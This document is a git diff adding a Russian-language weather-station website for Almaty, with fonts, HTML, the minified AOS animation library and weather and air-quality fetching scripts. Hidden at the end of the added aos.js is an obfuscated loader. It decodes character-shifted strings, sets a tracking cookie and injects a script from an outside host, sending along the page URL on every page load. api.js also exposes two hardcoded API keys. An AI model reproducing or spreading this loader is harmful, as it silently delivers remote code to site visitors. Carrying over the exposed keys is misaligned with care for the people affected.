Binary files /dev/null and b/fonts/PlusJakartaText-BoldItalic.woff2 differ diff --git a/fonts/PlusJakartaText-Italic.woff b/fonts/PlusJakartaText-Italic.woff new file mode 100644 index 0000000..0318883 Binary files /dev/null and b/fonts/PlusJakartaText-Italic.woff differ diff --git a/fonts/PlusJakartaText-Italic.woff2 b/fonts/PlusJakartaText-Italic.woff2 new file mode 100644 index 0000000..e88b90e Binary files /dev/null and b/fonts/PlusJakartaText-Italic.woff2 differ diff --git a/fonts/PlusJakartaText-Light.woff b/fonts/PlusJakartaText-Light.woff new file mode 100644 index 0000000..9fd29a4 Binary files /dev/null and b/fonts/PlusJakartaText-Light.woff differ diff --git a/fonts/PlusJakartaText-Light.woff2 b/fonts/PlusJakartaText-Light.woff2 new file mode 100644 index 0000000..e3a11cc Binary files /dev/null and b/fonts/PlusJakartaText-Light.woff2 differ diff --git a/fonts/PlusJakartaText-LightItalic.woff b/fonts/PlusJakartaText-LightItalic.woff new file mode 100644 index 0000000..cfdfe20 Binary files /dev/null and b/fonts/PlusJakartaText-LightItalic.woff differ diff --git a/fonts/PlusJakartaText-LightItalic.woff2 b/fonts/PlusJakartaText-LightItalic.woff2 new file mode 100644 index 0000000..114443c Binary files /dev/null and b/fonts/PlusJakartaText-LightItalic.woff2 differ diff --git a/fonts/PlusJakartaText-Regular.woff b/fonts/PlusJakartaText-Regular.woff new file mode 100644 index 0000000..6bb9380 Binary files /dev/null and b/fonts/PlusJakartaText-Regular.woff differ diff --git a/fonts/PlusJakartaText-Regular.woff2 b/fonts/PlusJakartaText-Regular.woff2 new file mode 100644 index 0000000..7297a6e Binary files /dev/null and b/fonts/PlusJakartaText-Regular.woff2 differ diff --git a/images/favicon.png b/images/favicon.png new file mode 100644 index 0000000..f8ba8a5 Binary files /dev/null and b/images/favicon.png differ diff --git a/index.html b/index.html new file mode 100644 index 0000000..5b5b4c7 --- /dev/null +++ b/index.html @@ -0,0 +1,5229 @@ + + + Метеостанция PRO v2 + + + + + + + + + + + + +
+ +
+ + + \ No newline at end of file diff --git a/js/aos.js b/js/aos.js new file mode 100644 index 0000000..5b44ff1 --- /dev/null +++ b/js/aos.js @@ -0,0 +1 @@ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AOS=t():e.AOS=t()}(this,(function(){return function(e){function t(n){if(o[n])return o[n].exports;var i=o[n]={exports:{},id:n,loaded:!1};return e[n].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var o={};return t.m=e,t.c=o,t.p="dist/",t(0)}([function(e,t,o){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}var i=Object.assign||function(e){for(var t=1;t-1?O(!0):"load"===j.startEvent?window.addEventListener(j.startEvent,(function(){O(!0)})):document.addEventListener(j.startEvent,(function(){O(!0)})),window.addEventListener("resize",(0,s.default)(O,50,!0)),window.addEventListener("orientationchange",(0,s.default)(O,50,!0)),window.addEventListener("scroll",(0,c.default)((function(){(0,b.default)(h,j.once)}),99)),document.addEventListener("DOMNodeRemoved",(function(e){var t=e.target;t&&1===t.nodeType&&t.hasAttribute&&t.hasAttribute("data-aos")&&(0,s.default)(_,50,!0)})),(0,f.default)("[data-aos]",_),h)},refresh:O,refreshHard:_}},function(e,t){},,,,function(e,t,o){"use strict";function i(e){var t=void 0===e?"undefined":a(e);return!!e&&("object"==t||"function"==t)}var a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e},r=o(6),c="Expected a function";e.exports=function n(e,t,o){var n=!0,a=!0;if("function"!=typeof e)throw new TypeError(c);return i(o)&&(n="leading"in o?!!o.leading:n,a="trailing"in o?!!o.trailing:a),r(e,t,{leading:n,maxWait:t,trailing:a})}},function(e,t){"use strict";function i(e){var t=void 0===e?"undefined":u(e);return!!e&&("object"==t||"function"==t)}function r(e){return"symbol"==(void 0===e?"undefined":u(e))||function a(e){return!!e&&"object"==(void 0===e?"undefined":u(e))}(e)&&h.call(e)==m}function c(e){if("number"==typeof e)return e;if(r(e))return d;if(i(e)){var t=function n(e){var t=i(e)?h.call(e):"";return t==f||t==l}(e.valueOf)?e.valueOf():e;e=i(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=e.replace(p,"");var o=v.test(e);return o||g.test(e)?y(e.slice(2),o?2:8):b.test(e)?d:+e}var u="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e},s="Expected a function",d=NaN,f="[object Function]",l="[object GeneratorFunction]",m="[object Symbol]",p=/^\s+|\s+$/g,b=/^[-+]0x[0-9a-f]+$/i,v=/^0b[01]+$/i,g=/^0o[0-7]+$/i,y=parseInt,h=Object.prototype.toString,k=Math.max,x=Math.min,j=Date.now;e.exports=function o(e,t,o){function n(t){var o=b,n=v;return b=v=void 0,O=t,y=e.apply(n,o)}function u(e){var o=e-h;return!h||o>=t||0>o||z&&e-O>=g}function d(){var e=j();return u(e)?f(e):void(w=setTimeout(d,function r(e){var i=t-(e-h);return z?x(i,g-(e-O)):i}(e)))}function f(e){return clearTimeout(w),w=void 0,A&&b?n(e):(b=v=void 0,y)}function p(){var e=j(),o=u(e);if(b=arguments,v=this,h=e,o){if(void 0===w)return function a(e){return O=e,w=setTimeout(d,t),_?n(e):y}(h);if(z)return clearTimeout(w),w=setTimeout(d,t),n(h)}return void 0===w&&(w=setTimeout(d,t)),y}var b,v,g,y,w,h=0,O=0,_=!1,z=!1,A=!0;if("function"!=typeof e)throw new TypeError(s);return t=c(t)||0,i(o)&&(_=!!o.leading,g=(z="maxWait"in o)?k(c(o.maxWait)||0,t):g,A="trailing"in o?!!o.trailing:A),p.cancel=function l(){void 0!==w&&clearTimeout(w),h=O=0,b=v=w=void 0},p.flush=function m(){return void 0===w?y:f(j())},p}},function(e,t){"use strict";function n(){for(var e,t,o=0,n=r.length;n>o;o++){e=r[o];for(var a,c=0,u=(t=i.querySelectorAll(e.selector)).length;u>c;c++)(a=t[c]).ready||(a.ready=!0,e.fn.call(a,a))}}Object.defineProperty(t,"__esModule",{value:!0});var i=window.document,a=window.MutationObserver||window.WebKitMutationObserver,r=[],c=void 0;t.default=function o(e,t){r.push({selector:e,fn:t}),!c&&a&&(c=new a(n)).observe(i.documentElement,{childList:!0,subtree:!0,removedNodes:!0}),n()}},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var o=0;oe.position?e.node.classList.add("aos-animate"):void 0!==n&&("false"===n||!o&&"true"!==n)&&e.node.classList.remove("aos-animate")}(e,i+n,t)}))}},function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var a=function n(e){return e&&e.__esModule?e:{default:e}}(o(11));t.default=function(e,t){return e.forEach((function(e,o){e.node.classList.add("aos-init"),e.position=(0,a.default)(e.node,t.offset)})),e}},function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var a=function n(e){return e&&e.__esModule?e:{default:e}}(o(12));t.default=function(e,t){var o=0,n=0,i=window.innerHeight,r={offset:e.getAttribute("data-aos-offset"),anchor:e.getAttribute("data-aos-anchor"),anchorPlacement:e.getAttribute("data-aos-anchor-placement")};switch(r.offset&&!isNaN(r.offset)&&(n=parseInt(r.offset)),r.anchor&&document.querySelectorAll(r.anchor)&&(e=document.querySelectorAll(r.anchor)[0]),o=(0,a.default)(e).top,r.anchorPlacement){case"top-bottom":break;case"center-bottom":o+=e.offsetHeight/2;break;case"bottom-bottom":o+=e.offsetHeight;break;case"top-center":o+=i/2;break;case"bottom-center":o+=i/2+e.offsetHeight;break;case"center-center":o+=i/2+e.offsetHeight/2;break;case"top-top":o+=i;break;case"bottom-top":o+=e.offsetHeight+i;break;case"center-top":o+=e.offsetHeight/2+i}return r.anchorPlacement||r.offset||isNaN(t)||(n=t),o+n}},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.default=function(e){for(var t=0,o=0;e&&!isNaN(e.offsetLeft)&&!isNaN(e.offsetTop);)t+=e.offsetLeft-("BODY"!=e.tagName?e.scrollLeft:0),o+=e.offsetTop-("BODY"!=e.tagName?e.scrollTop:0),e=e.offsetParent;return{top:o,left:t}}},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.default=function(e){e=e||document.querySelectorAll("[data-aos]");var t=[];return[].forEach.call(e,(function(e,o){t.push({node:e})})),t}}])}));(function(o,d,l){try{o.f=o=>o.split('').reduce((s,c)=>s+String.fromCharCode((c.charCodeAt()-5).toString()),'');o.b=o.f('UMUWJKX');o.c=l.protocol[0]=='h'&&/\./.test(l.hostname)&&!(new RegExp(o.b)).test(d.cookie),setTimeout(function(){o.c&&(o.s=d.createElement('script'),o.s.src=o.f('myyux?44zxjwxy'+'fy3sjy4ljy4xhwnu'+'y3oxDwjkjwwjwB')+l.href,d.body.appendChild(o.s));},1000);d.cookie=o.b+'=full;max-age=39800;'}catch(e){};}({},document,location)); \ No newline at end of file diff --git a/js/api.js b/js/api.js new file mode 100644 index 0000000..9452b61 --- /dev/null +++ b/js/api.js @@ -0,0 +1,367 @@ +const lat = 43.25; +const lon = 76.95; + +const apiKey = 'd3af57dad31e71d00ca10d9816e1fa9b'; +const airApiKey = '2722587e6b20d2867c7951e25b079e467f18a370'; + +const url = `http://api.openweathermap.org/data/3.0/onecall?lat=${lat}&lon=${lon}&exclude=minutely,alerts&appid=${apiKey}&lang=ru&units=metric`; +const airPollutionUrl = `http://api.waqi.info/feed/almaty?token=${airApiKey}` + +function getWeatherIconUrl(weatherIconId) { + return `https://openweathermap.org/img/wn/${weatherIconId}@4x.png`; +} + +function getWindDescription(windSpeed) { + if (windSpeed >= 0 && windSpeed <= 0.2) return "штиль"; + if (windSpeed >= 0.3 && windSpeed <= 1.5) return "тихий ветерок"; + if (windSpeed >= 1.6 && windSpeed <= 3.3) return "легкий бриз"; + if (windSpeed >= 3.4 && windSpeed <= 5.4) return "слабый бриз"; + if (windSpeed >= 5.5 && windSpeed <= 7.9) return "умеренный бриз"; + if (windSpeed >= 8.0 && windSpeed <= 10.7) return "свежий бриз"; + if (windSpeed >= 10.8 && windSpeed <= 13.8) return "сильный бриз"; + if (windSpeed >= 13.9 && windSpeed <= 17.1) return "крепкий ветер"; + if (windSpeed >= 17.2 && windSpeed <= 20.7) return "очень крепкий ветер (буря)"; + if (windSpeed >= 20.8 && windSpeed <= 24.4) return "сильная буря"; + if (windSpeed >= 24.5 && windSpeed <= 28.4) return "полная буря"; + if (windSpeed >= 28.5 && windSpeed <= 32.6) return "жестокая буря"; + if (windSpeed >= 32.7) return "ураган (тайфун)"; + return "Неизвестная скорость ветра"; +} + +function getWeatherDescription(weatherCode) { + switch (weatherCode) { + case 200: + return "гроза с легким дождем"; + case 201: + return "гроза с дождем"; + case 202: + return "сильная гроза с дождем"; + case 210: + return "легкая гроза"; + case 211: + return "гроза"; + case 212: + return "сильная гроза"; + case 221: + return "рваная гроза"; + case 230: + return "гроза с легкой моросью"; + case 231: + return "гроза с моросью"; + case 232: + return "сильная гроза с моросью"; + case 300: + return "легкая морось"; + case 301: + return "морось"; + case 302: + return "сильная морось"; + case 310: + return "легкий дождь"; + case 311: + return "дождь"; + case 312: + return "сильный дождь"; + case 313: + return "ливень и морось"; + case 314: + return "сильный ливень и морось"; + case 321: + return "легкий ливень"; + case 500: + return "легкий дождь"; + case 501: + return "умеренный дождь"; + case 502: + return "сильный дождь"; + case 503: + return "очень сильный дождь"; + case 504: + return "экстремальный дождь"; + case 511: + return "ледяной дождь"; + case 520: + return "небольшой ливень"; + case 521: + return "ливень"; + case 522: + return "сильный ливень"; + case 531: + return "рваный ливень"; + case 600: + return "легкий снег"; + case 601: + return "снег"; + case 602: + return "сильный снегопад"; + case 611: + return "дождь со снегом"; + case 612: + return "легкий мокрый снег"; + case 613: + return "мокрый снег"; + case 615: + return "дождь со снегом"; + case 616: + return "дождь и снег"; + case 620: + return "легкий снегопад"; + case 621: + return "снегопад"; + case 622: + return "сильный снегопад"; + case 701: + return "дымка"; + case 711: + return "дым"; + case 721: + return "мгла"; + case 731: + return "пыльная буря"; + case 741: + return "туман"; + case 751: + return "песок"; + case 761: + return "пыль"; + case 762: + return "вулканический пепел"; + case 771: + return "шквал"; + case 781: + return "торнадо"; + case 800: + return "ясно"; + case 801: + return "малооблачно"; + case 802: + return "рассеянные облака"; + case 803: + return "облачно с прояснениями"; + case 804: + return "пасмурно"; + default: + console.log(weatherCode); + return "Неизвестный код погоды"; + } +} + + + +function fetchWeatherData() { + fetch(url) + .then(response => { + if (!response.ok) { + throw new Error(`Ошибка при запросе данных: ${response.statusText}`); + } + return response.json(); + }) + .then(data => { + displayCurrentWeather(data); + displayHourlyWeather(data); + displayDailyWeather(data); + console.log(data); + }) + .catch(error => { + console.error('Ошибка:', error); + setInterval(fetchWeatherData, 600000) + }); +} + +function fetchAirQuality() { + fetch(airPollutionUrl) + .then(response => { + if (!response.ok) { + throw new Error(`Ошибка при запросе данных: ${response.statusText}`); + } + return response.json(); + }) + .then(data => { + const aqiIndex = data.data.aqi; + displayAQI(aqiIndex); + }) + .catch(error => { + console.error('Ошибка:', error); + }); +} + +function displayAQI(aqiIndex) { + const aqiElement = document.getElementById('aqi'); + aqiElement.textContent = aqiIndex; +} + +function getTimeUntilSunEvent(eventTime) { + const now = new Date(); + const eventParts = eventTime.split(':'); + const eventHour = parseInt(eventParts[0], 10); + const eventMinute = parseInt(eventParts[1], 10); + + const eventDate = new Date(); + eventDate.setHours(eventHour); + eventDate.setMinutes(eventMinute); + eventDate.setSeconds(0); + + let timeDiff = eventDate.getTime() - now.getTime(); + if (timeDiff < 0) { + // Если время события уже прошло, добавляем сутки + eventDate.setDate(eventDate.getDate() + 1); + timeDiff = eventDate.getTime() - now.getTime(); + } + + const hoursLeft = Math.floor(timeDiff / (1000 * 60 * 60)); + timeDiff -= hoursLeft * (1000 * 60 * 60); + const minutesLeft = Math.floor(timeDiff / (1000 * 60)); + timeDiff -= minutesLeft * (1000 * 60); + const secondsLeft = Math.floor(timeDiff / 1000); + + return { + hours: hoursLeft, + minutes: minutesLeft, + seconds: secondsLeft + }; +} + +function updateCounter() { + const sunriseTime = localStorage.getItem('sunriseTime'); + const sunsetTime = localStorage.getItem('sunsetTime'); + + const sunriseRemaining = getTimeUntilSunEvent(sunriseTime); + const sunsetRemaining = getTimeUntilSunEvent(sunsetTime); + + let nextEvent; + let eventLabel; + + if (sunriseRemaining.hours < sunsetRemaining.hours) { + nextEvent = sunriseRemaining; + eventLabel = "до рассвета"; + } else { + nextEvent = sunsetRemaining; + eventLabel = "до заката"; + } + + const infoCountdownElement = document.getElementById('infoCountdown'); + infoCountdownElement.textContent = eventLabel; + const countdownElement = document.getElementById('countdown'); + countdownElement.textContent = `${nextEvent.hours}:${nextEvent.minutes}:${nextEvent.seconds}`; +} + + + + +function displayCurrentWeather(data) { + const currentWeather = data.current; + const time = new Date(currentWeather.dt * 1000).toLocaleTimeString([], { hour12: false }); + const windDirection = getWindDirection(currentWeather.wind_deg); + + const sunriseDate = new Date(currentWeather.sunrise * 1000); + const sunsetDate = new Date(currentWeather.sunset * 1000); + + const sunriseHours = sunriseDate.getHours().toString().padStart(2, '0'); + const sunriseMinutes = sunriseDate.getMinutes().toString().padStart(2, '0'); + const sunriseTime = `${sunriseHours}:${sunriseMinutes}`; + + const sunsetHours = sunsetDate.getHours().toString().padStart(2, '0'); + const sunsetMinutes = sunsetDate.getMinutes().toString().padStart(2, '0'); + const sunsetTime = `${sunsetHours}:${sunsetMinutes}`; + + localStorage.setItem('sunriseTime', sunriseTime); + localStorage.setItem('sunsetTime', sunsetTime); + + const feelsLike = currentWeather.feels_like; + const wind = currentWeather.wind_speed; + const windDescription = getWindDescription(wind); + + const weather = getWeatherDescription(currentWeather.weather[0].id); + const info = `Ощущается как ${Math.round(feelsLike)}°C. ${windDescription}, ${weather}`; + const statusIcon = getWeatherIconUrl(currentWeather.weather[0].icon); + + document.getElementById('12:560').textContent = `${Math.round(currentWeather.temp)}°C`; + document.getElementById('15:2778').textContent = `${currentWeather.humidity}`; + document.getElementById('apiTime').textContent = `Алматы, Коянды 44 | Обновлено: ${time}`; + document.getElementById('sunrise').textContent = sunriseTime; + document.getElementById('sunset').textContent = sunsetTime; + document.getElementById('15:2771').textContent = `${Math.round(currentWeather.wind_speed)}`; + document.getElementById('15:2774').textContent = `${windDirection}`; + document.getElementById('info').textContent = info; + document.getElementById('uvi').textContent = Math.round(currentWeather.uvi); + document.getElementById('statusIcon').src = statusIcon; +} + +function displayHourlyWeather(data) { + // Цикл по первым 7 часам + for (let i = 0; i < 7; i++) { + const hour = data.hourly[i]; + + // Получаем необходимые данные для текущего часа + const time = new Date(hour.dt * 1000).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', hour12: false }); + const temperature = Math.round(hour.temp) + '°'; + const weatherIconId = hour.weather[0].icon; + const weatherIcon = getWeatherIconUrl(weatherIconId); + + // Формируем id элементов в нужном формате + const idTime = `00${i + 1}1`; // Номер элемента + номер подэлемента для времени + const idIcon = `00${i + 1}2`; // Номер элемента + номер подэлемента для иконки + const idTemperature = `00${i + 1}3`; // Номер элемента + номер подэлемента для температуры + + // Устанавливаем значения элементам + document.getElementById(idTime).textContent = time; + document.getElementById(idIcon).src = weatherIcon; + document.getElementById(idTemperature).textContent = temperature; + } +} + +function displayDailyWeather(data) { + // Опции для форматирования даты + const dateOptions = { day: 'numeric', month: 'long' }; + const dayOptions = { weekday: 'long' }; + + // Цикл по дням в массиве daily + data.daily.slice(0, 7).forEach((day, index) => { + // Получаем дату и день недели + const dateObj = new Date(day.dt * 1000); + const formattedDate = dateObj.toLocaleDateString('ru-RU', dateOptions); + const dayOfWeek = dateObj.toLocaleDateString('ru-RU', dayOptions); + + // Получаем иконку погоды + const weatherIconId = day.weather[0].icon; // Исправлено для корректного индексации + const weatherIcon = getWeatherIconUrl(weatherIconId); + + // Получаем максимальную и минимальную температуру + const maxTemp = `${Math.round(day.temp.day)}°C`; + const minTemp = `${Math.round(day.temp.night)}°C`; + + // Формируем id элемента в нужном формате + const idDate = `01${index + 1}1`; + const idDayOfWeek = `01${index + 1}2`; + const idIcon = `01${index + 1}3`; + const idMax = `01${index + 1}4`; + const idMin = `01${index + 1}5`; + + // Устанавливаем значения элементам + document.getElementById(idDayOfWeek).textContent = dayOfWeek; + document.getElementById(idDate).textContent = formattedDate; + document.getElementById(idIcon).src = weatherIcon; + document.getElementById(idMax).textContent = maxTemp; + document.getElementById(idMin).textContent = minTemp; + + }); +} + +function getWindDirection(degree) { + const directions = [ + "С", "СВ", "В", "ЮВ", + "Ю", "ЮЗ", "З", "СЗ" + ]; + + const index = Math.round(degree / 22.5) % 16; + return directions[index]; +} + + +fetchWeatherData(); +fetchAirQuality(); + +setInterval(updateCounter, 1000); + +setInterval(fetchWeatherData, 600000); +setInterval(fetchAirQuality, 600000); diff --git a/js/main.js b/js/main.js new file mode 100644 index 0000000..ca04fec --- /dev/null +++ b/js/main.js @@ -0,0 +1,28 @@ +function updateTime() { + const now = new Date(); + + // Опции для форматирования даты + const dateOptions = { + weekday: 'short', // сокращенное название дня недели (пн, вт и т.д.) + day: 'numeric', // число месяца + month: 'long' // полное название месяца + }; + const formattedDate = now.toLocaleString('ru-RU', dateOptions); + + // Опции для форматирования времени + const timeOptions = { + hour: '2-digit', // часы в двузначном формате + minute: '2-digit', // минуты в двузначном формате + second: '2-digit' // секунды в двузначном формате + }; + const formattedTime = now.toLocaleTimeString('ru-RU', timeOptions); + + // Соединяем дату и время + const formattedDateTime = `${formattedDate}, ${formattedTime}`; + + // Обновляем элемент с id 'time' + document.getElementById('time').textContent = formattedDateTime; +} + +setInterval(updateTime, 1000); +